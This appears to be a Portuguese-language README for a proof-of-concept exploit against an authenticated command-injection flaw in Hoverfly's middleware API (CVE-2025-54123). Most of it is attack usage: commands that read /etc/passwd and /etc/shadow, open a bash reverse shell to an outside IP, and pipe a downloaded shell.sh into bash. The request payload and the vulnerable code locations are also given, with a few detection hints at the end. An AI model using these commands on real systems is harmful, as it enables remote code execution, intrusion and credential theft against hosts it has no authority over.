kasem545/cve-2025-54123-pocCVE-2025-54123 Hoverfly Middleware Autenticado Injeção de Comando RCE
Injeção de Comando RCE no Middleware Autenticado do Hoverfly | CVSS 9.8 CRÍTICO
Hoverfly <= 1.11.3 é vulnerável a injeção de comando autenticada através do endpoint /api/v2/hoverfly/middleware. São necessárias credenciais de administrador, mas uma vez autenticado, a funcionalidade de middleware aceita valores binários e de script fornecidos pelo usuário sem validação, permitindo a execução arbitrária de comandos.
middleware.go aceita caminhos binários arbitrárioslocal_middleware.go passa diretamente a entrada do usuário para exec.Command()hoverfly_service.go executa o middleware durante a validaçãopython3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> -c <COMMAND> [--shell SHELL]
-t, --target - Endpoint da API Hoverfly (obrigatório)-u, --username - Nome de usuário admin (obrigatório)-p, --password - Senha do admin (obrigatório)-c, --command - Comando a executar (obrigatório)--shell - Binário do shell a usar (padrão: /bin/bash)# Basic command execution
python3 exploit.py -t http://localhost:8888 -u admin -p password -c whoami
# Read sensitive files
python3 exploit.py -t http://10.10.11.100:8888 -u admin -p pass123 -c "cat /etc/passwd"
# Reverse shell
python3 exploit.py -t http://target:8888 -u user -p secret -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# Multi-command execution
python3 exploit.py -t http://192.168.1.50:8888 -u admin -p admin -c "id; uname -a; pwd"
# Use different shell
python3 exploit.py -t http://victim:8888 -u root -p toor -c "cat /etc/shadow" --shell /bin/sh
# Download and execute payload
python3 exploit.py -t http://target:8888 -u admin -p pass -c "curl http://10.10.14.5/shell.sh | bash"
/api/v2/hoverfly/middleware com payload malicioso/tmp/hoverfly_<random><shell> /tmp/hoverfly_<random>{
"binary": "/bin/bash",
"script": "whoami"
}
Cabeçalhos HTTP incluem:
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/json
core/middleware/middleware.go:94-96 - Nenhuma validação de entrada no parâmetro bináriocore/middleware/local_middleware.go:14-19 - Uso inseguro de exec.Command()core/hoverfly_service.go:173 - Execução imediata durante a validaçãoProcure por:
/api/v2/hoverfly/middleware/tmp/hoverfly//api/v2/hoverfly/middlewareDescoberta original: @Kr1shna4garwal